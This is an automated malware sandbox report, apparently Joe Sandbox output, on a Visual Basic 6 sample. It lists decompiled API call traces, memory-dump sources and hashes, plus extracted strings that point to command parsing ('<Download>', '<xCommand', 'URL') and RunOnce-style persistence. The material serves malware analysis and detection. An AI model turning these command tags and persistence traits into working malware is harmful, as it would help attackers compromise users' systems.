Part of subcall function 0040FA50: __vbaStrCopy.MSVBVM60 ref: 0040FB4A
Part of subcall function 0040FA50: __vbaFreeStr.MSVBVM60(0040FB7E), ref: 0040FB77

__vbaStrMove.MSVBVM60(0040AA6C,?,?,?,00000000,004025E6), ref: 0040F239

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaStrMove.MSVBVM60(?,?,?,?,00000000,004025E6), ref: 0040F24D
__vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6), ref: 0040F256
__vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004025E6), ref: 0040F267
#712.MSVBVM60(00000000,0040728C,00406674,00000001,000000FF,00000000,?,?,?,00000000,004025E6), ref: 0040F291
__vbaStrMove.MSVBVM60(?,?,?,00000000,004025E6), ref: 0040F29C
#712.MSVBVM60(00000000,00407294,00406674,00000001,000000FF,00000000,?,?,?,00000000,004025E6), ref: 0040F2BD
__vbaStrMove.MSVBVM60(?,?,?,00000000,004025E6), ref: 0040F2C8
__vbaInStr.MSVBVM60(00000000,004072A0,00000001,00000001,?,?,?,00000000,004025E6), ref: 0040F2E2
__vbaInStr.MSVBVM60(00000000,004072AC,00000001,00000001,?,?,?,00000000,004025E6), ref: 0040F2FF
#712.MSVBVM60(00000000,004072A0,004072B8,00000001,000000FF,00000000), ref: 0040F33A
__vbaStrMove.MSVBVM60 ref: 0040F345
#712.MSVBVM60(00000000,004072AC,004072C0,00000001,000000FF,00000000), ref: 0040F366
__vbaStrMove.MSVBVM60 ref: 0040F371
__vbaInStr.MSVBVM60(00000000,004072A0,00000001,00000001), ref: 0040F38B
__vbaInStr.MSVBVM60(00000000,004072AC,00000001,00000001), ref: 0040F3A8
__vbaInStr.MSVBVM60(00000000,<xCommand,00000001,00000001), ref: 0040F3CA

Strings

</Update>, xrefs: 0040F74F
<xCommand, xrefs: 0040F3C3
</Download>, xrefs: 0040F52A
Version, xrefs: 0040F817
<Update>, xrefs: 0040F716
URL, xrefs: 0040F633, 0040F7CC
Param, xrefs: 0040F67E
<Download>, xrefs: 0040F4F1
8, xrefs: 0040F879
</xCommand>, xrefs: 0040F425

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Move$Free$#712$#516#631BstrChkstkErrorFile$#525#570#648CloseCopyGet3Open
String ID: 8$</Download>$</Update>$</xCommand>$<Download>$<Update>$<xCommand$Param$URL$Version
API String ID: 3601514899-954089795
Opcode ID: 691ee2edf4af6776942d29cbf2e5881f73f70abf8b28773798784accf01272c1
Instruction ID: 2d68e6c41ca87c00c381124143961c125374000113fd64c2ef600be50ae681ef
Opcode Fuzzy Hash: 691ee2edf4af6776942d29cbf2e5881f73f70abf8b28773798784accf01272c1
Instruction Fuzzy Hash: 0012ED71900208EFDB14DFE0DE49BDDBBB5BB48305F208179E502BB2A4DB795A49CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004111A0 Relevance: 103.8, APIs: 69, Instructions: 297COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(00000000,00000000), ref: 004111FE
__vbaStrCopy.MSVBVM60 ref: 00411206
__vbaOnError.MSVBVM60(00000001), ref: 0041120A
#648.MSVBVM60(0000000A), ref: 00411222
__vbaFreeVar.MSVBVM60 ref: 00411231
__vbaI2I4.MSVBVM60(?), ref: 00411243
__vbaFileOpen.MSVBVM60(00000020,000000FF,00000000), ref: 0041124A
__vbaI2I4.MSVBVM60 ref: 00411252
#570.MSVBVM60(00000000), ref: 00411255
__vbaLenBstr.MSVBVM60(00404B24), ref: 00411262
__vbaLenBstr.MSVBVM60(00404B24), ref: 00411287
#525.MSVBVM60(00000000), ref: 0041128E
__vbaStrMove.MSVBVM60 ref: 00411299
__vbaI2I4.MSVBVM60 ref: 004112A1
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 004112A5
__vbaI2I4.MSVBVM60 ref: 004112AD
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 004112B6
__vbaStrMove.MSVBVM60(?,00000000), ref: 004112EF
__vbaStrCmp.MSVBVM60(00000000), ref: 004112F2
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0041130F
__vbaI2I4.MSVBVM60 ref: 00411471
__vbaFileClose.MSVBVM60(00000000), ref: 0041147A
__vbaI2I4.MSVBVM60 ref: 0041147E
__vbaPut3.MSVBVM60(00000004,?,00000000), ref: 00411487
__vbaStrCopy.MSVBVM60 ref: 00411495

Part of subcall function 0040EE70: __vbaStrCopy.MSVBVM60 ref: 0040F13C
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(0040F175), ref: 0040F16E

__vbaStrMove.MSVBVM60(?), ref: 004112DE

Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F00F
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 0040F018
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F049
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F054
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F05B
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0AF
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0B8
Part of subcall function 0040EE70: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F0F3
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F104
Part of subcall function 0040EE70: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 0040F107
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F112
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0040F117

__vbaStrCopy.MSVBVM60 ref: 004112C4

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaI2I4.MSVBVM60 ref: 00411323
#570.MSVBVM60(00000000), ref: 00411326
__vbaI2I4.MSVBVM60 ref: 00411339
__vbaFileSeek.MSVBVM60(00000000,00000000), ref: 0041133D
#648.MSVBVM60(0000000A), ref: 00411355
__vbaFreeVar.MSVBVM60 ref: 00411364
__vbaI2I4.MSVBVM60(?), ref: 00411370
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0041137A
#525.MSVBVM60(00001000), ref: 00411385
__vbaStrMove.MSVBVM60 ref: 00411390
__vbaI2I4.MSVBVM60 ref: 00411398
#570.MSVBVM60(00000000), ref: 0041139B
__vbaI2I4.MSVBVM60 ref: 004113D2
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 004113DB
__vbaI2I4.MSVBVM60 ref: 004113E3
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 004113EC
#598.MSVBVM60 ref: 00411404
#525.MSVBVM60(-00000001), ref: 00411424
__vbaStrMove.MSVBVM60 ref: 0041142F
__vbaI2I4.MSVBVM60 ref: 00411437
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00411440
__vbaI2I4.MSVBVM60 ref: 00411448
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 00411451
#598.MSVBVM60 ref: 0041145E
__vbaStrMove.MSVBVM60(?), ref: 004114A9

Part of subcall function 0040EAB0: #594.MSVBVM60(?,660E1A08,-00000001,660E6C30), ref: 0040EB1A
Part of subcall function 0040EAB0: __vbaFreeVar.MSVBVM60 ref: 0040EB23
Part of subcall function 0040EAB0: __vbaLenBstr.MSVBVM60 ref: 0040EB2F
Part of subcall function 0040EAB0: #631.MSVBVM60(?,?,0000000A), ref: 0040EB68
Part of subcall function 0040EAB0: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 0040EB73
Part of subcall function 0040EAB0: #516.MSVBVM60(00000000,?,?,0000000A), ref: 0040EB7A
Part of subcall function 0040EAB0: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 0040EB89
Part of subcall function 0040EAB0: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 0040EB92

__vbaStrMove.MSVBVM60(?), ref: 004114BD
__vbaI2I4.MSVBVM60 ref: 004114C5
__vbaPut3.MSVBVM60(00000000,?,00000000), ref: 004114CE
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 004114E2
__vbaI2I4.MSVBVM60 ref: 004114ED
__vbaFileClose.MSVBVM60(00000000), ref: 004114F0
__vbaExitProc.MSVBVM60 ref: 004114F9
__vbaI2I4.MSVBVM60 ref: 0041150F
__vbaFileClose.MSVBVM60(00000000), ref: 00411518
__vbaI2I4.MSVBVM60 ref: 0041151D
__vbaFileClose.MSVBVM60(00000000), ref: 00411520
__vbaExitProc.MSVBVM60 ref: 00411529
__vbaFreeStr.MSVBVM60(00411572), ref: 00411560
__vbaFreeStr.MSVBVM60 ref: 00411565
__vbaFreeStr.MSVBVM60 ref: 0041156A
__vbaFreeStr.MSVBVM60 ref: 0041156F
__vbaErrorOverflow.MSVBVM60 ref: 00411589

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$Move$File$Copy$#516#631BstrClosePut3$#525#570Get3$#598#648ErrorExitListOpenProcSeek$#537#594Overflow
String ID:
API String ID: 936154001-0
Opcode ID: 7388e1bd2b66fa6b056741b4791ef962c4142c5a93219274217dbce0ffb5ad99
Instruction ID: ff6c34d3fed2378173252cfce728cf62963b49a80d3fcd64e048a008bc34630c
Opcode Fuzzy Hash: 7388e1bd2b66fa6b056741b4791ef962c4142c5a93219274217dbce0ffb5ad99
Instruction Fuzzy Hash: F6B12D71D00218AFDB04DFE4DE88AEE7BB9FB88311F10452AE616E72A0DB745945CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040480F Relevance: 89.6, APIs: 47, Strings: 4, Instructions: 334COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,004025E6), ref: 0040BF4E
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 0040BF95

Part of subcall function 00418B50: __vbaChkstk.MSVBVM60(00000000,004025E6,00000000,?,?,?,?,004025E6), ref: 00418B6E
Part of subcall function 00418B50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418B9B
Part of subcall function 00418B50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418BA7
Part of subcall function 00418B50: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6,00000000), ref: 00418BB6
Part of subcall function 00418B50: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004025E6,00000000), ref: 00418BCF
Part of subcall function 00418B50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004025E6,00000000), ref: 00418BDF
Part of subcall function 00418B50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6,00000000), ref: 00418BED
Part of subcall function 00418B50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418BF6
Part of subcall function 00418B50: __vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,(%@,00000004,?,?,?,00000000,004025E6,00000000), ref: 00418C15
Part of subcall function 00418B50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004025E6,00000000), ref: 00418C25
Part of subcall function 00418B50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6,00000000), ref: 00418C33
Part of subcall function 00418B50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418C3C
Part of subcall function 00418B50: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,004025E6,00000000), ref: 00418C52
Part of subcall function 00418B50: __vbaFreeStr.MSVBVM60(00418C7C,?,?,?,00000000,004025E6,00000000), ref: 00418C6C
Part of subcall function 00418B50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418C75

__vbaStrCat.MSVBVM60( RO,00000000,80000002,00000000,Start,00000004,80000002,00000000,Start,00000002,80000001,00000000,00000000,00000000), ref: 0040C00B
__vbaStrMove.MSVBVM60(?,?,?,00000000,004025E6), ref: 0040C016
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,?,?,00000000,004025E6), ref: 0040C030
__vbaStrMove.MSVBVM60(?,?,?,00000000,004025E6), ref: 0040C03B

Part of subcall function 00418C90: __vbaChkstk.MSVBVM60(00000000,004025E6,?,?,?,00409F3C,80000002,00000000), ref: 00418CAE
Part of subcall function 00418C90: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418CDB
Part of subcall function 00418C90: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418CE7
Part of subcall function 00418C90: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418CF3
Part of subcall function 00418C90: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6), ref: 00418D02
Part of subcall function 00418C90: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004025E6), ref: 00418D1B
Part of subcall function 00418C90: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004025E6), ref: 00418D2B
Part of subcall function 00418C90: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00418D39
Part of subcall function 00418C90: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6), ref: 00418D42
Part of subcall function 00418C90: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004025E6), ref: 00418D53
Part of subcall function 00418C90: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004025E6), ref: 00418D62
Part of subcall function 00418C90: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004025E6), ref: 00418D75
Part of subcall function 00418C90: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004025E6), ref: 00418D85
Part of subcall function 00418C90: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00418D93
Part of subcall function 00418C90: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6), ref: 00418DA1
Part of subcall function 00418C90: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004025E6), ref: 00418DB1
Part of subcall function 00418C90: __vbaSetSystemError.MSVBVM60(?,?,00000000,004025E6), ref: 00418DCA
Part of subcall function 00418C90: __vbaFreeStr.MSVBVM60(00418E07,?,00000000,004025E6), ref: 00418DEE
Part of subcall function 00418C90: __vbaFreeStr.MSVBVM60(?,00000000,004025E6), ref: 00418DF7

__vbaFreeStrList.MSVBVM60(00000002,?,?,80000002,00000000,?,?,?,00000000,004025E6), ref: 0040C056
__vbaStrCat.MSVBVM60( RO,00000000,?,00000000,004025E6), ref: 0040C072
__vbaStrMove.MSVBVM60(?,00000000,004025E6), ref: 0040C07D
__vbaStrCat.MSVBVM60(Once,00000000,00000000,00000000,?,00000000,004025E6), ref: 0040C096
__vbaStrMove.MSVBVM60(?,00000000,004025E6), ref: 0040C0A1
__vbaFreeStrList.MSVBVM60(00000002,?,00000000,80000002,00000000,?,00000000,004025E6), ref: 0040C0BC
__vbaCastObj.MSVBVM60(00000000,0040563C), ref: 0040C0D3
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C0DE
__vbaHresultCheckObj.MSVBVM60(00000000,?,00405414,00000730), ref: 0040C111
__vbaFreeObj.MSVBVM60 ref: 0040C12C
__vbaNew.MSVBVM60(0040564C), ref: 0040C13E
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040C149
__vbaHresultCheckObj.MSVBVM60(00000000,?,00405414,00000730), ref: 0040C17C
__vbaFreeObj.MSVBVM60 ref: 0040C197
__vbaStrCopy.MSVBVM60 ref: 0040C1C2
__vbaStrMove.MSVBVM60(00000000,00000001), ref: 0040C1D6
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040C1EB
__vbaInStr.MSVBVM60(00000001,00000000), ref: 0040C1F4
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 0040C214
__vbaStrCopy.MSVBVM60 ref: 0040C238
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040C252
__vbaStrCat.MSVBVM60(00000000), ref: 0040C259
#529.MSVBVM60(00000008), ref: 0040C26D
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040C27D

Strings

C, xrefs: 0040480F
Start, xrefs: 0040BFC4, 0040BFE3
RO, xrefs: 0040C006, 0040C06D
Once, xrefs: 0040C02B, 0040C091

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Free$Error$CopyMove$System$AnsiListUnicode$Chkstk$CheckHresult$#529BstrCast
String ID: RO$C$Once$Start
API String ID: 3306888832-2962527757
Opcode ID: 38f2c482234380c5ccf5e47192bcb562df34f22c8bdb2e96fe65b30f76930fc4
Instruction ID: 2a7bed8e637f556c1a294a0d9af7fafa12270aafcab1a65859bb43c9b5deaf43
Opcode Fuzzy Hash: 38f2c482234380c5ccf5e47192bcb562df34f22c8bdb2e96fe65b30f76930fc4
Instruction Fuzzy Hash: 24D1DC75900208EFDB04DFE4DD89BDE7BB9FB48305F108529F606B61A0DB745A45CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE40 Relevance: 80.8, APIs: 43, Strings: 3, Instructions: 347COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,004025E6), ref: 0040AE5E
__vbaAryConstruct2.MSVBVM60(?,004068A0,00000003,?,?,?,?,004025E6), ref: 0040AEA7
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,004025E6), ref: 0040AEB6
__vbaSetSystemError.MSVBVM60(?,?,?,?,004025E6), ref: 0040AECE
__vbaSetSystemError.MSVBVM60(?,?,?,?,004025E6), ref: 0040AEF4
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,004025E6), ref: 0040AF1D

Part of subcall function 00418B50: __vbaChkstk.MSVBVM60(00000000,004025E6,00000000,?,?,?,?,004025E6), ref: 00418B6E
Part of subcall function 00418B50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418B9B
Part of subcall function 00418B50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418BA7
Part of subcall function 00418B50: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004025E6,00000000), ref: 00418BB6
Part of subcall function 00418B50: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004025E6,00000000), ref: 00418BCF
Part of subcall function 00418B50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004025E6,00000000), ref: 00418BDF
Part of subcall function 00418B50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6,00000000), ref: 00418BED
Part of subcall function 00418B50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418BF6
Part of subcall function 00418B50: __vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,(%@,00000004,?,?,?,00000000,004025E6,00000000), ref: 00418C15
Part of subcall function 00418B50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,004025E6,00000000), ref: 00418C25
Part of subcall function 00418B50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004025E6,00000000), ref: 00418C33
Part of subcall function 00418B50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418C3C
Part of subcall function 00418B50: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,004025E6,00000000), ref: 00418C52
Part of subcall function 00418B50: __vbaFreeStr.MSVBVM60(00418C7C,?,?,?,00000000,004025E6,00000000), ref: 00418C6C
Part of subcall function 00418B50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004025E6,00000000), ref: 00418C75

__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,?,004025E6), ref: 0040AF5A
__vbaRecUniToAnsi.MSVBVM60(00404B50,?,00000128), ref: 0040AF94
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0040AFAA
__vbaRecAnsiToUni.MSVBVM60(00404B50,00000128,?), ref: 0040AFC3
#525.MSVBVM60(00000104), ref: 0040AFEC
__vbaStrMove.MSVBVM60 ref: 0040AFF7
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0040B02E
__vbaGenerateBoundsError.MSVBVM60 ref: 0040B06D
__vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 0040B088
__vbaSetSystemError.MSVBVM60(?,00000000,00000000), ref: 0040B0AE
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0040B0BF
__vbaFreeStr.MSVBVM60 ref: 0040B0D4
#616.MSVBVM60(?,?), ref: 0040B0E9
__vbaStrMove.MSVBVM60 ref: 0040B0F7
__vbaStrMove.MSVBVM60(?), ref: 0040B111
#517.MSVBVM60(00000000), ref: 0040B118
__vbaStrMove.MSVBVM60 ref: 0040B123
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040B139
__vbaLenBstr.MSVBVM60(?,?,?,004025E6), ref: 0040B14D
__vbaStrCmp.MSVBVM60(00000000,?,?,?,004025E6), ref: 0040B17F
__vbaStrCmp.MSVBVM60(00000000,?,?,?,004025E6), ref: 0040B1BD
__vbaRecUniToAnsi.MSVBVM60(00404B50,?,?,?,?,004025E6), ref: 0040B204
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,004025E6), ref: 0040B21A
__vbaRecAnsiToUni.MSVBVM60(00404B50,?,?,?,?,004025E6), ref: 0040B233
__vbaSetSystemError.MSVBVM60(?), ref: 0040B257
#580.MSVBVM60(00000000,00000027,00000000,00000000,0041B088,00000000), ref: 0040B2DB
__vbaStrCat.MSVBVM60( SE,00000000,00000000), ref: 0040B2F3
#600.MSVBVM60(00000008,00000000), ref: 0040B312
__vbaFreeVar.MSVBVM60 ref: 0040B324
#580.MSVBVM60(00000000,00000027,00000000,00000000,0041B088,00000000), ref: 0040B399
__vbaStrCat.MSVBVM60( PR,00000000,00000000), ref: 0040B3B2
#600.MSVBVM60(00000008,00000000), ref: 0040B3D1
__vbaFreeVar.MSVBVM60 ref: 0040B3E3

Part of subcall function 00410560: __vbaChkstk.MSVBVM60(?,004025E6,?,?,?,?,?,?,?,?,004025E6), ref: 0041057E
Part of subcall function 00410560: __vbaOnError.MSVBVM60(000000FF,?,?,?,?,004025E6), ref: 004105AE
Part of subcall function 00410560: __vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,?,004025E6), ref: 004105E8
Part of subcall function 00410560: __vbaSetSystemError.MSVBVM60(00000000), ref: 00410611
Part of subcall function 00410560: __vbaSetSystemError.MSVBVM60(00000000), ref: 00410627

#598.MSVBVM60 ref: 0040B3F0
__vbaFreeStr.MSVBVM60(0040B456), ref: 0040B42E

Strings

4, xrefs: 0040B3E9
PR, xrefs: 0040B3AD
SE, xrefs: 0040B2EE

Memory Dump Source

Source File: 00000000.00000002.463478599.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.463467976.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463474179.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463709716.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.463726077.000000000041D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sJ9Q8UWMAX.jbxd

Yara matches

Similarity

API ID: __vba$Error$System$Free$Ansi$Move$ChkstkUnicode$#580#600Copy$#517#525#598#616BoundsBstrConstruct2GenerateList
String ID: PR$ SE$4
API String ID: 3576955720-2816282373
Opcode ID: 1de2eecb3e22f9f67d275207b9972fb08be8cc8f6e3fb6eea473884b16e18e1a
Instruction ID: 549e129ae2bb91e84472ac49bce2616dd184e0a5e73778e746ab4582d66d714c
Opcode Fuzzy Hash: 1de2eecb3e22f9f67d275207b9972fb08be8cc8f6e3fb6eea473884b16e18e1a
Instruction Fuzzy Hash: D3F1FAB5901208EFDB14DFA0DD58BDEBBB4FB48304F1081A9E549B72A0DB785A84DF58

Uniqueness

Uniqueness Score: -1.00%

Function 00419150 Relevance: 73.9, APIs: 49, Instructions: 362COMMON

Download Yara Rule

APIs

__vbaStrCopy.MSVBVM60(660E19DC,00000000,00000FEE), ref: 004191A8
__vbaStrCopy.MSVBVM60 ref: 004191B0
__vbaOnError.MSVBVM60(00000001), ref: 004191B4
#648.MSVBVM60(0000000A), ref: 004191CC
__vbaFreeVar.MSVBVM60 ref: 004191DB
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000,?), ref: 004191F4
__vbaLenBstr.MSVBVM60(004053B8), ref: 004191FF
#525.MSVBVM60(00000000), ref: 00419206
__vbaStrMove.MSVBVM60 ref: 00419217
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 0041922B
__vbaStrCopy.MSVBVM60 ref: 00419235

Part of subcall function 0040EE70: __vbaLenBstr.MSVBVM60(00000000), ref: 0040EEAD
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,?), ref: 0040EEF8
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,?), ref: 0040EF03
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,?), ref: 0040EF0A
Part of subcall function 0040EE70: __vbaFreeStr.MSVBVM60(?,?,?), ref: 0040EF68
Part of subcall function 0040EE70: __vbaFreeVar.MSVBVM60(?,?,?), ref: 0040EF71
Part of subcall function 0040EE70: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFA1
Part of subcall function 0040EE70: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0040EFAC
Part of subcall function 0040EE70: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 0040EFB3

__vbaStrMove.MSVBVM60(?), ref: 00419245

